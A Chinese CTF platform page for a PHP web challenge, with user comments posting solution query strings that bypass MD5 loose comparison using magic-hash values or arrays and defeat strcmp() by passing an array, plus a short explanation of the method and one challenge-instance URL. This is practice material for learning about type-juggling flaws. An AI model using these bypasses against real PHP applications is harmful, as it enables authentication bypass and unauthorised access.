前女友WEB 未解决

分数: 30 金币: 3
题目作者: 未知
一　　血: chounana
一血奖励: 2金币
解　　决: 7799
提　　示:
描　　述:
来源 山科大ctf
...
登录回复
评论
ahco 1年前
举报

v1[]=123&v2[]=234&v3=flag{*******}

回复 0
zhuizhui 1年前
举报

md5绕过和strcmp漏洞 strcmp漏洞：一个数组一个字符串也返回0

回复 0
xlogsrc 1年前
举报

?v1[]=a&v2[]=b&v3[]=c

回复 0
lordinglord 1年前
举报

http://117.72.52.127:19197/index.php?v1=QNKCDZO&v2=240610708&v3[]=a

回复 0
emm不取名字了 1年前
举报

flag{*****}

回复 0
3344 1年前
举报

flag{**********}

回复 0
Arya32f 1年前
举报

/?v1=QNKCDZO&v2=240610708&v3[]=1或者/?v1[]=1&v2[]=2&v3[]=1

回复 0
HK1ng 1年前
举报

首先CTRL＋U查看源码，发现存在超链接，点击进去之后，代码审计，第一关是md5弱类型比较，然后用了strcmp()函数进行弱类型比较，直接传一个数组，PHP 8.0 前 strcmp() 会返回 null，加上取反，直接绕过。

回复 3
goodsnack 1年前
举报

弱类型比较，传数组即可

回复 0
harven 1年前
举报

http://example.com/?v1=QNKCDZO&v2=240610708&v3[]=test

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(15)

解题动态

Yy09 攻破了该题 1小时前
xzw 攻破了该题 2小时前
gao111 攻破了该题 6小时前
18369735915 攻破了该题 18小时前
Marttin 攻破了该题 19小时前
zxs1 攻破了该题 20小时前
icu 攻破了该题 21小时前
T0909766 攻破了该题 21小时前
linda123 攻破了该题 1天前
xoc 攻破了该题 1天前
dawnusk 攻破了该题 1天前
mimopan 攻破了该题 1天前
znaba 攻破了该题 1天前
梦想成为最强白客 攻破了该题 1天前
Lityht 攻破了该题 1天前
18571567960 攻破了该题 1天前
rosinante 攻破了该题 2天前
longwolf0078 攻破了该题 2天前
Nikkii 攻破了该题 3天前
asuka1121 攻破了该题 3天前
问题反馈